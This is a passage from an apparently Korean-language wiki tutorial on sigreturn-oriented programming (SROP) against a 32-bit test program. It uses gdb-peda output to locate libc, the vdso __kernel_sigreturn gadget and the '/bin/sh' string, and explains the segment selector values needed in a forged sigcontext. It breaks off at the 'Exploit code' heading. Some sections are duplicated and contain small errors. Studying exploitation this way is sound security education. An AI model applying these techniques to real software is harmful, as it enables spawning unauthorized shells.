...
Code Block | ||
---|---|---|
| ||
gdb-peda$ vmmap Start End Perm Name ... 0xf7e00000 0xf7fad000 r-xp /lib32/libc-2.23.so 0xf7fad000 0xf7fae000 ---p /lib32/libc-2.23.so 0xf7fae000 0xf7fb0000 r--p /lib32/libc-2.23.so 0xf7fb0000 0xf7fb1000 rw-p /lib32/libc-2.23.so ... gdb-peda$ p/x 0xf7e49020 - 0xf7e00000 $2 = 0x49020 gdb-peda$ p __kernel_sigreturn $3 = {<text variable, no debug info>} 0xf7fd8de0 <__kernel_sigreturn> gdb-peda$ p/x 0xf7fd8de0 - 0xf7e00000 $4 = 0x1d8de0 gdb-peda$ find "/bin/sh" Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0xf7f5902b ("/bin/sh") gdb-peda$ p/x 0xf7f5902b - 0xf7e00000 $5 = 0x15902b gdb-peda$ |
Find Gadgets
- 기본적으로 다음과 같이 해당 Memory Map에서 필요한 Gadgets을 찾을 수 있습니다.
Offset of __kernel_sigreturn
- 다음과 같이 __kernel_sigreturn() 함수를 Exploit에 사용할 수 있습니다.
- 0xf7fd8de0 주소를 사용할 경우 "pop eax" 명령어가 포함되어 있기 때문에 0xf7fd8de0 호출 뒤에 임의의 값(4bit)이 저장되어야 합니다.
- Ex) __kernel_sigreturn() + 임의의 값(4bit) + sigcontext 구조체
0xf7fd8de1 주소를 사용할 경우 "mov eax,0x77" 명령어가 실행되기 때문에 0xf7fd8de1 호출 뒤에 sigcontext 구조체가 저장되어야 합니다.
- Ex) __kernel_sigreturn() + sigcontext 구조체
- 0xf7fd8de0 주소를 사용할 경우 "pop eax" 명령어가 포함되어 있기 때문에 0xf7fd8de0 호출 뒤에 임의의 값(4bit)이 저장되어야 합니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ x/3i 0xf7fd8de0
=> 0xf7fd8de0 <__kernel_sigreturn>: pop eax
0xf7fd8de1 <__kernel_sigreturn+1>: mov eax,0x77
0xf7fd8de6 <__kernel_sigreturn+6>: int 0x80
gdb-peda$ |
Find Gadgets
- 기본적으로 다음과 같이 해당 Memory Map에서 필요한 Gadgets을 찾을 수 있습니다.
Panel | ||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| ||||||||||||||||||||||||||||||||||||||||||||||||
| ||||||||||||||||||||||||||||||||||||||||||||||||
Panel | ||||||||||||||||||||||||||||||||||||||||||||||||
| ||||||||||||||||||||||||||||||||||||||||||||||||
|
- 테스트 프로그램이 32bit이기 때문에 sigreturn() 함수를 vdso 영역에서 확인 할 수 있습니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ p __kernel_sigreturn
$6 = {<text variable, no debug info>} 0xf7fd8de0 <__kernel_sigreturn>
gdb-peda$ x/3i 0xf7fd8de0
0xf7fd8de0 <__kernel_sigreturn>: pop eax
0xf7fd8de1 <__kernel_sigreturn+1>: mov eax,0x77
0xf7fd8de6 <__kernel_sigreturn+6>: int 0x80
gdb-peda$ vmmap
Start End Perm Name
...
0xf7fd5000 0xf7fd8000 r--p [vvar]
0xf7fd8000 0xf7fda000 r-xp [vdso]
...
gdb-peda$ |
CS(Code segment) & SS(Stack Segment)
SROP의 Exploit code를 작성할 때 중요한 부분이 있습니다.
sigcontext 구조체 형태로 stack에 값을 저장할 때 최소한 CS, SS레지스터에 대한 값을 설정해야합니다.
Linux kernel에는 4개의 세그먼트만 존재합니다.
공격 코드들은 User Mode에서 실행되기 때문에 0x23, 0x2b가 사용됩니다.
이외의 값을 저장하게 되면 에러가 발생하게됩니다.
- sigreturn() 함수를 vdso 영역에서 확인 할 수 있습니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ p __kernel_sigreturn
$6 = {<text variable, no debug info>} 0xf7fd8de0 <__kernel_sigreturn>
gdb-peda$ x/3i 0xf7fd8de0
0xf7fd8de0 <__kernel_sigreturn>: pop eax
0xf7fd8de1 <__kernel_sigreturn+1>: mov eax,0x77
0xf7fd8de6 <__kernel_sigreturn+6>: int 0x80
gdb-peda$ vmmap
Start End Perm Name
...
0xf7fd5000 0xf7fd8000 r--p [vvar]
0xf7fd8000 0xf7fda000 r-xp [vdso]
...
gdb-peda$ |
CS(Code segment) & SS(Stack Segment)
SROP의 Exploit code를 작성할 때 중요한 부분이 있습니다.
sigcontext 구조체 형태로 stack에 값을 저장할 때 최소한 CS, SS레지스터에 대한 값을 설정해야합니다.
Linux kernel에는 4개의 세그먼트만 존재합니다.
- 공격 코드들은 User Mode에서 실행되기 때문에 User Code, User Data / Stack 값을 사용해야 합니다.
- 그리고 32bit 프로그램의 경우 실행되는 운영체제(32bit / 64bit) 환경에 따라 사용되는 세그먼트 값이 다릅니다.
- 32bit 운영체제에서는 0x73, 0x7b가 사용횝니다.
- 62bit 운영체제에서는 실행되는 32bit 프로그램의 경우 0x23, 0x2b가 사용됩니다.
이외의 값을 저장하게 되면 에러가 발생하게됩니다.
Panel | |||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| |||||||||||||||
|
Code Block | ||||
---|---|---|---|---|
| ||||
#ifdef CONFIG_X86_32
...
#define GDT_ENTRY_TLS_MIN 6
#define GDT_ENTRY_TLS_MAX (GDT_ENTRY_TLS_MIN + GDT_ENTRY_TLS_ENTRIES - 1)
#define GDT_ENTRY_KERNEL_CS 12
#define GDT_ENTRY_KERNEL_DS 13
#define GDT_ENTRY_DEFAULT_USER_CS 14
#define GDT_ENTRY_DEFAULT_USER_DS 15
#define GDT_ENTRY_TSS 16
#define GDT_ENTRY_LDT 17
#define GDT_ENTRY_PNPBIOS_CS32 18
#define GDT_ENTRY_PNPBIOS_CS16 19
#define GDT_ENTRY_PNPBIOS_DS 20
#define GDT_ENTRY_PNPBIOS_TS1 21
#define GDT_ENTRY_PNPBIOS_TS2 22
#define GDT_ENTRY_APMBIOS_BASE 23 |
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
#else /* 64-bit: */
#include <asm/cache.h>
#define GDT_ENTRY_KERNEL32_CS 1
#define GDT_ENTRY_KERNEL_CS 2
#define GDT_ENTRY_KERNEL_DS 3
/*
* We cannot use the same code segment descriptor for user and kernel mode,
* not even in long flat mode, because of different DPL.
*
* GDT layout to get 64-bit SYSCALL/SYSRET support right. SYSRET hardcodes
* selectors:
*
* if returning to 32-bit userspace: cs = STAR.SYSRET_CS,
* if returning to 64-bit userspace: cs = STAR.SYSRET_CS+16,
*
* ss = STAR.SYSRET_CS+8 (in either case)
*
* thus USER_DS should be between 32-bit and 64-bit code selectors:
*/
#define GDT_ENTRY_DEFAULT_USER32_CS 4
#define GDT_ENTRY_DEFAULT_USER_DS 5
#define GDT_ENTRY_DEFAULT_USER_CS 6
... |
Info | ||
---|---|---|
Panel | ||
| ||
Purpose | Segment | |
Kernel Code | 0x8 | |
Kernel Data / Stack | 0x18 | |
User Code | 0x23 | |
User Data / Stack | 0x2b | |
Info | ||
Exploit code
- 다음과 같이 Exploit code를 작성 할 수 있습니다.
...